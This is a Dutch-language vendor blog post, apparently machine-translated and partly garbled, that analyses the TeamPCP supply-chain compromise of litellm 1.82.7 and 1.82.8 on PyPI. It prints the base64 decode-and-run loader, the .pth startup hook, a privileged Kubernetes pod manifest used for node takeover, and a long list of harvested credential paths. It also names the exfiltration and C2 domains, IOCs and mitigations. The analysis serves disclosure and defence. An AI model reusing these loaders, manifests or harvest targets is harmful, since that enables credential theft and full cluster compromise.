LiteLLM Supply Chain Attack

LiteLLM Supply Chain Attack: Hoe TeamPCP een achterdeur in de AI-infrastructuur plaatste

Waarom deze Matters

Op 24 maart 2026 wordt het populaire Python-pakket litellm, een universele LLM-proxygateway die door duizenden wordt gebruikt enterpriseEen framework dat verkeer tussen applicaties en AI-providers zoals OpenAI, Anthropic, Google en AWS Bedrock routeert, is stilletjes gehackt op PyPI. Twee besmette versies (1.82.7 en 1.82.8) werden binnen 13 minuten na elkaar gepubliceerd. Deze versies bevatten een payload die inloggegevens stal, cloudgeheimen exfiltreerde, zich lateraal verspreidde over Kubernetes-clusters en een permanente backdoor installeerde met mogelijkheden voor het uitvoeren van code op afstand.

Met ongeveer 3.6 miljoen dagelijkse downloads Dankzij de diepgaande implementatie in cloud-native AI-infrastructuren bevindt litellm zich op het kruispunt van alles wat moderne aanvallers begeren: API-sleutels voor elke belangrijke AI-aanbieder, cloud-IAM-referenties, Kubernetes-geheimen en SSH-sleutels.

Maar het litellm-compromis was geen op zichzelf staande gebeurtenis. Het was het hoogtepunt van een vijfdaagse campagne met vijf ecosystemen door een dreigingsactor die bekend staat als TeamPCPeen campagne die eerst beveiligingsscanners vergiftigde (Aqua Trivy, Checkmarx KICS), en vervolgens de gestolen gegevens gebruikte CI/CD De inloggegevens werden vervolgens doorgegeven aan npm, OpenVSX en uiteindelijk PyPI. De aanvallers misbruikten daarmee juist de tools waarop organisaties vertrouwen om hun toeleveringsketens te beschermen.

Deze aanval vertegenwoordigt een fundamentele verandering in de complexiteit van bedreigingen voor de toeleveringsketen. Het ontwerp, dat meerdere stappen omvat en ecosystemen overstijgt, omzeilt beveiligingssystemen om waardevolle doelen te bereiken. AI-infrastructuur, Dit weerspiegelt een niveau van planning en operationele volwassenheid dat consistent is met de steeds meer gestandaardiseerde aanvalstools. De payloads werden in realtime getest (drie payloadvarianten zijn te vinden in de broncode, inclusief uitgeschakelde eerdere versies), de C2-infrastructuur werd de dag voor de aanval geregistreerd en de exfiltratiedomeinen werden zorgvuldig gekozen om legitieme leveranciersinfrastructuren na te bootsen. De systematisch uitgebreide credential harvester, die meer dan 15 categorieën omvat, waaronder nichedoelen zoals Cardano-ondertekeningssleutels en WireGuard-configuraties, suggereert een grondigheid die wijst op AI-ondersteunde malwareontwikkeling als een krachtversterker.

Timeline

Datum (UTC) Evenementen
Maart 19 TeamPCP compromitteert Aqua Trivy GitHub Action-tags en vervangt ze door kwaadaardige code die gegevens lekt. CI/CD geheimen uit downstream repositories
Maart 21 Het compromis strekt zich uit tot Checkmarx KICS en AST GitHub Actions, waarbij vergelijkbare technieken worden gebruikt.
22 maart, 06:35 BerriAI publiceert litellm 1.82.6 (laatste schone versie) via normaal CI/CD pipeline die Trivy gebruikt voor beveiligingsscans
Maart 23 TeamPCP registreert models.litellm.cloud (exfiltratiedomein). Dit brengt meer dan 66 npm-pakketten en OpenVSX-extensies in gevaar.
24 maart, 10:39 litellm 1.82.7 gepubliceerd op PyPI -- payload geïnjecteerd in proxy_server.py Op module-niveau. Wordt uitgevoerd bij import.
24 maart, 10:52 litellm 1.82.8 werd 13 minuten later gepubliceerd -- voegt toe litellm_init.pthEen Python-padconfiguratiehook die bij elke opstart van de Python-interpreter wordt uitgevoerd, niet alleen bij het importeren van litellm-bestanden. Toont snelle iteratie van de payload.
24 maart, circa 16:00 PyPI verwijdert beide versies na meldingen vanuit de community. De versies worden volledig verwijderd (niet alleen offline gehaald) uit de index, maar de CDN-tarballs blijven wel toegankelijk.

Belichtingstijd: circa 5.5 uur. Gedurende deze tijd, elke pip install litellm, pip install --upgrade litellm, of CI/CD pipeline Het downloaden van de nieuwste versie zou de payload hebben uitgevoerd.

Hoe de malware binnenkwam: het domino-effect van de inbreuk

Het litellm-pakket werd niet direct gehackt. De aanvaller bereikte het via een andere weg. tweestaps supply chain-aanval:

Aqua Trivy GitHub Action (compromised March 19)
    --> LiteLLM CI/CD pipeline runs Trivy without pinned version
        --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
            --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline Trivy werd gebruikt als beveiligingsscanner — de tool die juist ontworpen was om kwetsbaarheden op te sporen, was zelf de aanvalsvector. Omdat de pipeline Trivy werd via een veranderlijke tag in plaats van een vastgezette tag aangeroepen. commit SHA, de gecompromitteerde actie werd automatisch uitgevoerd. De kwaadwillige Trivy-actie heeft omgevingsgeheimen gestolen, waaronder de PYPI_PUBLISH Dit token geeft TeamPCP directe publicatietoegang tot het litellm PyPI-project.

Deze strategie om "de bewakers te omzeilen" is een kenmerk van de TeamPCP-campagne. Door zich eerst te richten op beveiligingssystemen (Trivy, Checkmarx KICS), schakelden de aanvallers tegelijkertijd detectie uit en kregen ze bevoorrechte toegang tot de daaropvolgende toeleveringsketens.

Technische analyse: De lading

Injectiepunten

versie 1.82.7 — Uitvoering op moduleniveau in litellm/proxy/proxy_server.py (regel 128):

import subprocess, base64, sys, tempfile, os

b64_payload = "<~12KB base64 blob>"

with tempfile.TemporaryDirectory() as d:
    p = os.path.join(d, "p.py")
    with open(p, "wb") as f:
        f.write(base64.b64decode(b64_payload))
    subprocess.run([sys.executable, p])

Deze code bevindt zich op modulebereik tussen een dictionary-literal en het origineel. showwarning() functie. Deze wordt direct uitgevoerd wanneer litellm.proxy.proxy_server wordt geïmporteerd — wat gebeurt bij elk gebruik van de proxyfunctionaliteit van litellm.

versie 1.82.8 — Toegevoegd litellm_init.pth (Python padconfiguratiebestand):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)

Python .pth bestanden site-packages/ worden verwerkt bij elke opstart van de interpreter, maar alleen regels die beginnen met import worden uitgevoerd als code. De aanvaller maakt hier misbruik van door de volledige payload aan één enkele actie te koppelen. import uitspraak: import os, subprocess, sys; subprocess.Popen(...)Dit is veel agressiever dan de injectie via proxy_server.py — het wordt geactiveerd, zelfs als litellm nooit wordt geïmporteerd, bij elke Python-processtart. pyproject.toml is aangepast om dit bestand in de distributie op te nemen:

include = [
    { path = "litellm_init.pth", format = ["sdist", "wheel"] }
]

Versie 1.82.8 heeft dus twee onafhankelijke uitvoeringspadenDe injectie in proxy_server.py (die plaatsvindt bij het importeren van litellm proxy) en het .pth-bestand (dat plaatsvindt bij elke Python-start). De redundantie is op zich al opmerkelijk: het biedt bescherming tegen detectie of verwijdering van slechts één van beide paden. De escalatie van uitvoering tijdens het importeren naar uitvoering tijdens het opstarten, slechts 13 minuten na versie 1.82.7, suggereert dat de aanvaller het succes van de implementatie in de gaten hield en snel iteraties uitvoerde.

Fase 1: Uitgebreide verzameling van referenties

Het gedecodeerde interne script is een nauwgezet, volledig vrij van inloggegevens. Het maakt gebruik van os.walk()glob.glob()subprocess.check_output()en directe bestandslezingen om het hele systeem te doorzoeken:

Categorie Doelen
Systeemreconstructie hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; host-sleutels van /etc/ssh/
Cloud (AWS) ~/.aws/credentials, ~/.aws/configIMDS-rolreferenties via 169.254.169.254; Geheimenbeheerder ListSecrets; SSM DescribeParameters
Cloud (GCP) ~/.config/gcloud/ (recursief); $GOOGLE_APPLICATION_CREDENTIALS
Cloud (Azure) ~/.azure/ (recursief); omgevingsvariabelen
Kubernetes Serviceaccounttokens; ca.crt; naamruimte; kubectl get secrets --all-namespacesAlle geheimen via de K8s API.
Omgevingsbestanden .env, .env.local, .env.production, .env.development, .env.staging — recursief gezocht (diepte 6) over /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
havenarbeider ~/.docker/config.json, /kaniko/.docker/config.json
Pakkettokens ~/.npmrc, ~/.vault-token, ~/.netrc
databases ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confMongoDB-configuraties
TLS / SSL Privésleutels van /etc/ssl/private/Let's Encrypt-certificaten, allemaal .pem/.key/.p12/.pfx bestanden
Git ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Crypto-portefeuilles Bitcoin, Ethereum keystore, Solana-sleutelparen (validator, vote, stake, faucet), Cardano-ondertekeningssleutels, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Shell-geschiedenis .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Systeemauthenticatie /etc/passwd, /etc/shadow, authenticatielogboeken (geaccepteerde SSH-sessies)
Webhook-/API-sleutels Zoek met Grep naar Slack-webpagina'shooksDiscord-webhooksAPI-sleutels/geheimen in configuratiebestanden
VPN WireGuard-configuraties van /etc/wireguard/

De reikwijdte van deze dataverzamelaar is encyclopedisch. Hij richt zich niet alleen op cloudgegevens, maar ook op cryptowallets, databasewachtwoorden, VPN-configuraties en meer. CI/CD geheimen — wat erop wijst dat de aanvaller van plan is om via meerdere kanalen geld te verdienen met gecompromitteerde systemen.

Fase 2: gecodeerde exfiltratie

Gestolen gegevens worden versleuteld en doorgestuurd met behulp van een hybride versleutelingsschema:

  • AES-256-CBC versleuteling van alle verzamelde gegevens met een willekeurige sessiesleutel van 32 bytes (via openssl enc)
  • RSA-4096 versleuteling van de sessiesleutel met behulp van de ingebedde publieke sleutel van de aanvaller (OAEP-padding, via openssl pkeyutl)
  • Beide versleutelde bestanden zijn gebundeld als tpcp.tar.gz (De tpcp Het voorvoegsel "TeamPCP" komt consequent terug in de hele campagne.
  • HTTPS POST naar https://models.litellm.cloud/ with Content-Type: application/octet-stream

Het domein models.litellm.cloud werd geregistreerd op 23 maart — één dag voor de aanval — en is ontworpen om op te gaan in de legitieme litellm-infrastructuur (het echte project gebruikt litellm.aiZelfs een netwerkbewuste verdediger die uitgaand verkeer controleert, zou verkeer naar wat lijkt op litellm's eigen model-eindpunt mogelijk niet signaleren.

Fase 3: Permanente backdoor (sysmon.py)

De payload installeert een polling-achterdeur vermomd als systeemtelemetrie:

  • Pad~/.config/sysmon/sysmon.py
  • Dienstensysmon.service (systemd-gebruikerseenheid, beschreven als "Systeemtelemetrieservice")
  • GedragNa een eerste slaap van 300 seconden worden peilingen uitgevoerd. https://checkmarx.zone/raw elke ~50 minuten
  • UitvoeringDownloadt de URL die door de C2-server wordt geretourneerd naar /tmp/pglog, maakt het uitvoerbaar (chmod 755), voert het uit in een losgekoppelde sessie
  • Staatsregistratie/tmp/.pg_state voorkomt het opnieuw downloaden van dezelfde payload
  • VolhardingRestart=alwaysRestartSec=10 — overleeft crashes en herstarts

Het domein checkmarx.zone is een typosquat van Checkmarx (het beveiligingsbedrijf bij checkmarx.comDit is zo ontworpen dat SOC-analisten die netwerklogboeken controleren, verkeer zien dat afkomstig lijkt te zijn van een legitieme beveiligingsleverancier. Dit is een opzettelijke ontwijkingstechniek die past in de bredere strategie van TeamPCP om zich te verschuilen achter de merknaam van een beveiligingsleverancier.

Fase 3b: Laterale verplaatsing van Kubernetes

Als het gecompromitteerde systeem Kubernetes-serviceaccountgegevens heeft, inventariseert de malware alle clusterknooppunten en voert deze uit. bevoorrechte pods aan ieder van hen:

pod_manifest = {
    'apiVersion': 'v1', 'kind': 'Pod',
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,
        'hostPID': True, 'hostNetwork': True,
        'tolerations': [{'operator': 'Exists'}],
        'containers': [{
            'name': 'setup',
            'image': 'alpine:latest',
            'command': ['sh', '-c', drop_cmd],
            'securityContext': {'privileged': True},
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
        'restartPolicy': 'Never'
    }
}

Elke capsule:

  • Draait als bevoorrecht with hostPIDhostNetworken volledige toegang tot het hostbestandssysteem
  • u gebruikt chroot /host om hetzelfde te installeren sysmon.py backdoor op het rootbestandssysteem van de host
  • Registreert het als een systemd-service, waardoor de persistentie behouden blijft na verwijdering van de pod.
  • Genoemd node-setup-* in de kube-system naamruimte die eruitziet als legitieme clusterinfrastructuur

Dit betekent een enkelvoudig gecompromitteerd CI/CD Een runner met toegang tot Kubernetes kan ertoe leiden dat elk knooppunt in het cluster een backdoor krijgt. — een catastrofaal scenario voor laterale verplaatsing voor organisaties die litellm als proxy in Kubernetes gebruiken.

Payload-evolutie (uitgecommentarieerde varianten)

De broncode op regel 131-132 bevat twee uitgeschakelde, eerdere varianten van de payload, die het ontwikkelingsproces van de aanvaller onthullen:

  • Alle drie varianten delen dezelfde infrastructuur voor datalekken (models.litellm.cloud), RSA-4096 publieke sleutel, AES-256-CBC + RSA hybride encryptiewrapper, en tpcp.tar.gz bundelnaamgeving
  • Eerdere varianten een toegevoegd RC4-versleutelingslaag Binnen het dataverzamelingsscript worden de verzamelde gegevens versleuteld vóór de buitenste AES+RSA-wrapper. De actieve payload (regel 130) is vereenvoudigd door deze interne RC4-laag te verwijderen.
  • De eerdere varianten gebruiken exec() with StringIO capture om de collector in-process uit te voeren, terwijl de actieve payload gebruikmaakt van subprocess.run() met stdout-omleiding — een schonere scheiding die voorkomt dat het hostproces wordt vervuild.
  • Alle drie varianten richten zich op dezelfde categorieën van referenties en verzamelprocessen.
  • De RC4-sleutel in de eerdere varianten was een provocerende belediging, passend bij het aandachtzoekende gedrag van de dader op Telegram.

Dit onthult actieve ontwikkeling tijdens de operatie. De aanvaller vereenvoudigde de encryptiestack en verbeterde de isolatie van de uitvoering, terwijl de doelen voor gegevensverzameling en de infrastructuur voor gegevensexfiltratie stabiel bleven.

Indicatoren van compromis (IOC's)

Netwerk

Indicator Type Doel
models.litellm.cloud Domein Exfiltratie-eindpunt (HTTPS POST)
checkmarx.zone Domein C2-polling-eindpunt (HTTPS GET) /raw)

Opmerking: Externe rapportagelinks checkmarx.zone/static/checkmarx-util-1.0.4.tgz naar de eerdere KICS-fase van de TeamPCP-campagne. Deze URL werd niet gevonden in de hier geanalyseerde litellm-payloads.

Pakkethashes

Dien in SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

File System

Indicator Type Doel
~/.config/sysmon/sysmon.py Dien in Permanent backdoor-script
~/.config/systemd/user/sysmon.service Dien in Systemd persistentie-eenheid
/tmp/pglog Dien in Het binaire bestand van de tweede fase is gedownload.
/tmp/.pg_state Dien in C2-statusbewaking
litellm_init.pth in site-packages/ Dien in Python opstarthook (alleen v1.82.8)
tpcp.tar.gz Dien in Versleuteld exfiltratiepakket

Kubernetes

Indicator Type Doel
node-setup-* peulen in kube-system Peul Bevoorrechte laterale bewegingscapsules
sysmon.service op clusterknooppunten Diensten Persistentie op hostniveau via pod escape

Cryptographic

Indicator Details
Aanvaller RSA-4096 openbare sleutel SHA256-vingerafdruk: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Ingebouwd in alle drie de payloadvarianten; dezelfde sleutel wordt gerapporteerd bij andere TeamPCP-bewerkingen.
tpcp voorvoegsel in artefacten Naamgevingsconventie voor bundels (tpcp.tar.gz) consistent gedurende de hele campagne

Bronvermelding: TeamPCP

De dader achter deze campagne wordt getraceerd als TeamPCP, ook bekend als PCPcat, Persy_PCP, ShellForce en DeadCatx3.

Bekende kenmerken:

  • Beheert Telegram-kanalen op @Persy_PCP en @teampcp waar ze beveiligingsbedrijven uitdaagden
  • Werkt binnen meerdere ecosystemen (GitHub Actions, PyPI, npm, OpenVSX).
  • Maakt gebruik van leverancierspecifieke typosquat-domeinen voor elke fase van de campagne (bijv. checkmarx.zone voor Checkmarx, models.litellm.cloud voor litellm)
  • Consistente infrastructuurmarkeringen: hetzelfde RSA-sleutelpaar, tpcp.tar.gz naamgevingsconventie, tpcp-docs-* GitHub-repositories die als deaddrop-staging worden gebruikt
  • Richt zich op beveiligingsinstrumenten als toegangspunten tot de toeleveringsketens verderop in de keten.

Vertrouwen in toeschrijving: Hoog. De gedeelde RSA-publieke sleutel, tpcp De naamgeving van de artefacten, de overlap in de C2-infrastructuur en het operationele tempo gedurende de vijfdaagse campagne linken de compromissen met Trivy, KICS, npm, OpenVSX en litellm sterk aan dezelfde actor.

MotivatieWaarschijnlijk gaat het om financiële motieven (diefstal van cryptowallets, monetisatie van cloudreferenties) in combinatie met het verkrijgen van bekendheid (pesterijen via Telegram). De omvang van de gestolen referenties – van AWS IAM tot Solana-validatorsleutelparen en WireGuard-configuraties – wijst op een financieel gemotiveerde dader die het rendement van elke inbreuk wil maximaliseren.

Mogelijke AI-ondersteuningDe credential harvester is systematisch en uitgebreid – meer dan 15 categorieën, inclusief nichedoelen zoals Cardano-ondertekeningssleutels, WireGuard-configuraties en Kaniko Docker-referenties – op een manier die consistent is met AI-ondersteunde enumeratie. De snelheid waarmee payloads worden gegenereerd (drie varianten met verschillende encryptieschema's), de coördinatie tussen ecosystemen (5 ecosystemen in 5 dagen) en de operationele OPSEC (domeinen die zich voordoen als leveranciers, hybride encryptie, systemd-persistentie vermomd als telemetrie) suggereren een doorvoerniveau dat mogelijk een weerspiegeling is van AI-ondersteunde ontwikkeling als een krachtversterker. Deze beoordeling is speculatief; ervaren operators zouden een vergelijkbare reikwijdte kunnen bereiken zonder AI-tools.

Nieuwe TTP's en technieken

1. Vergiftiging van de toeleveringsketen van beveiligingshulpmiddelen (variant T1195.002)

Het compromitteren van beveiligingsscanners (Trivy, KICS) als eerste stap om downstream-doelen te bereiken, is een nieuwe escalatie. De aanvaller heeft niet alleen een bibliotheek gecompromitteerd, maar ook de tools die organisaties gebruiken om opsporen gecompromitteerde bibliotheken. Dit creëert een blinde vlek: de scanner die de kwaadaardige code zou moeten detecteren, is zelf het verspreidingsmechanisme.

2. Python .pth Bestandspersistentie (T1546)

De litellm_init.pth De techniek in versie 1.82.8 is bijzonder verraderlijk. Python .pth bestanden site-packages/ worden verwerkt bij elke opstart van de interpreter; elke regel die begint met import wordt uitgevoerd als code. Door de payload aan één enkele te koppelen. import Volgens deze verklaring voert de aanvaller de code uit op elk Python-proces, niet alleen wanneer litellm wordt geïmporteerd. Dit betekent dat de payload wordt uitgevoerd, zelfs als litellm is geïnstalleerd maar nooit wordt gebruikt, en dat deze herstelmaatregelen overleeft die de gecompromitteerde code vervangen. .py bestanden zonder te controleren op .pth bestanden.

3. Laterale verplaatsing binnen het Kubernetes-cluster via geprivilegieerde pod-implementatie (T1610, T1611)

De geautomatiseerde aanmaak van geprivilegieerde pods op elk clusterknooppunt — met hostPIDhostNetwork, hostbestandssysteemkoppeling, en chroot Om persistentie te installeren, koppelt men de implementatie van containers (T1610) aan ontsnapping naar de host (T1611) om een ​​enkele gecompromitteerde workload om te zetten in een volledige clustercompromis.

4. Leveranciersimitatie C2-infrastructuur

gebruik models.litellm.cloud (imiteert litellm) en checkmarx.zone (imiteert Checkmarx) aangezien C2/exfil-eindpunten zijn ontworpen om netwerkmonitoring te omzeilen. SOC-analisten die uitgaand verkeer controleren, zouden HTTPS-verbindingen zien naar wat legitieme leveranciersdomeinen lijken te zijn.

5. Snelle iteratie van de nuttige lading tijdens de vlucht

Het publiceren van versie 1.82.7 met uitvoering tijdens het importeren, en vervolgens versie 1.82.8 met uitvoering tijdens het opstarten 13 minuten later, toont aan dat de aanvaller in realtime monitort en zich aanpast. De uitgeschakelde payloadvarianten (met verschillende versleutelingsschema's) die in de broncode bewaard zijn gebleven, bevestigen actieve ontwikkeling tijdens de operatie.

Wat gedaan kan worden

Deze aanval misbruikt vertrouwen op elk niveau: vertrouwen in beveiligingstools, vertrouwen in pakketregisters, vertrouwen in bekende domeinen, vertrouwen in CI/CD automatisering. Om ons daartegen te beschermen, moeten we elk van deze vertrouwensgrenzen versterken:

Voor consumenten van verpakte producten

  • Leg afhankelijkheden vast op basis van de hash, niet alleen op basis van de versie. pip install litellm==1.82.6 --hash=sha256:... Dit zou hebben voorkomen dat de gecompromitteerde versies werden geïnstalleerd, zelfs als ze kortstondig als de nieuwste versie werden weergegeven.
  • Gebruik lockfiles. pip-compilepoetry.locken  uv.lock Leg de exacte versies en hashes vast. CI/CD De installatie moet plaatsvinden vanuit lockfiles, niet vanuit floating version specifiers.
  • Monitor voor .pth bestanden. Controleer regelmatig site-packages/ voor onverwachte .pth bestanden — ze worden uitgevoerd bij elke Python-start en vormen een onderschat mechanisme voor het opslaan van gegevens.
  • Implementeer beheermaatregelen voor uitgaand netwerkverkeer. De uitstroom naar models.litellm.cloud en C2-peiling naar checkmarx.zone Dit had mogelijk onderschept kunnen worden door uitgaande filtering op basis van een whitelist in productieomgevingen.

Voor pakketbeheerders

  • pin CI/CD acties door commit SHA, niet tag. LiteLLM's pipeline Trivy werd gebruikt zonder een vastgepinde versie. Als er wel naar verwezen was... aquasecurity/trivy-action@<commit-sha> in plaats van @latestDe gecompromitteerde actie zou niet zijn uitgevoerd.
  • Gebruik kortstondige, afgebakende publicatietokens. PyPI ondersteunt vertrouwde uitgevers (op OIDC gebaseerd) en scoped API-tokens. De geëxfiltreerde PYPI_PUBLISH Het token had geen langdurige, onbeperkte publicatietoegang mogen hebben.
  • Schakel tweefactorauthenticatie in op PyPI. Vereis tweefactorauthenticatie (2FA) voor alle beheerders en gebruik waar mogelijk hardwarematige beveiligingssleutels.
  • Pakketten ondertekenen. Sigstore/PEP 740-attestaties stellen consumenten in staat te controleren of een verpakking is gebouwd volgens de verwachte normen. CI/CD pipeline, niet door een aanvaller met een gestolen token.

Voor platformbeheerders (PyPI, npm, GitHub)

  • Detecteer afwijkende publicatiepatronen. Twee nieuwe versies die met een tussenpoos van 13 minuten zijn gepubliceerd, vanaf een ander IP-adres of token dan gebruikelijk, zouden een wachtstand voor beoordeling of een geautomatiseerde scan moeten activeren voordat het pakket kan worden geïnstalleerd.
  • Versnel de acceptatie van vertrouwde uitgevers. Publiceren via OIDC koppelt pakketten aan specifieke repositories en workflows, waardoor gestolen tokens buiten de oorspronkelijke context nutteloos zijn. CI/CD context.
  • Implementeer malware-scans tijdens publicatie. De base64-gedecodeerde payload in proxy_server.py zou detecteerbaar zijn door middel van statische analyse op het moment van publicatie.

Voor het ecosysteem

  • Beschouw beveiligingstools als kritieke infrastructuur. Trivy en Checkmarx KICS worden door miljoenen gebruikt. pipelines. Hun GitHub Actions moeten worden ondertekend, vastgezet en met dezelfde nauwkeurigheid worden gemonitord als de pakketten die ze scannen.
  • Investeer in runtime-detectie. Statische analyse alleen kan niet elke obfuscatietechniek opsporen. Runtime monitoring van pakketinstallaties is daarom noodzakelijk. hooksOnverwachte netwerkverbindingen en verdachte toegangspatronen tot bestanden zorgen voor een gelaagde beveiliging.
  • Deel dreigingsinformatie sneller. De blootstellingsperiode van 5.5 uur voor litellm had korter kunnen zijn met een snellere coördinatie tussen de verschillende leveranciers. Geautomatiseerde scanservices zoals Xygeni MEW, Socket en Snyk detecteerden de anomalie; de ​​knelpunten zitten hem in de menselijke bevestiging en de reactietijd van het register.

Conclusie

De TeamPCP-campagne is een keerpunt voor software supply chain securityDoor eerst beveiligingsscanners te compromitteren en deze als springplank te gebruiken naar waardevolle AI-infrastructuur, toonden de aanvallers aan dat de toeleveringsketen slechts zo sterk is als de zwakste schakel daarin, en dat die schakel wel eens de beveiligingssoftware zou kunnen zijn die je vertrouwt om je te beschermen.

Het LLM-compromis benadrukt met name het groeiende risico voor AI-infrastructuur. Naarmate LLM-proxygateways steeds belangrijker worden... standard patroon voor enterprise Bij de implementatie van AI concentreren ze de toegang tot API-sleutels, cloudreferenties en gevoelige gegevens in één component. Het compromitteren van die component is een sleutel tot de volledige AI-stack.

Organisaties die litellm 1.82.7 of 1.82.8 hebben geïnstalleerd tijdens het 5.5 uur durende incident, moeten dit beschouwen als een volledige inbreuk op inloggegevens: roteer alle geheimen op de getroffen systemen en controleer Kubernetes-clusters op node-setup-* peulen in kube-systemverwijder alles sysmon.service systemd-eenheden, en controleer op litellm_init.pth in Python site-packages/ mappen. Gebruikers van de officiële Docker-image (ghcr.io/berriai/litellm) werden niet beïnvloed, omdat de afbeelding zijn afhankelijkheden vastzette en niet opnieuw werd opgebouwd tijdens de belichtingstijd.

Over de auteur

Medeoprichter en CTO

Luis Rodriguez is medeoprichter en CTO van Xygeni Security. Met meer dan 20 jaar ervaring in applicatiebeveiliging richt hij zich op AppSec-bescherming en geavanceerde codeanalysefuncties die teams helpen het daadwerkelijke leveringsrisico te verlagen.

 
sca-tools-software-compositie-analyse-tools
Prioriteer, herstel en beveilig uw softwarerisico's
Gratis proefperiode van 7-dag
Geen kredietkaart nodig

Beveilig uw softwareontwikkeling en -levering

met Xygeni-productsuite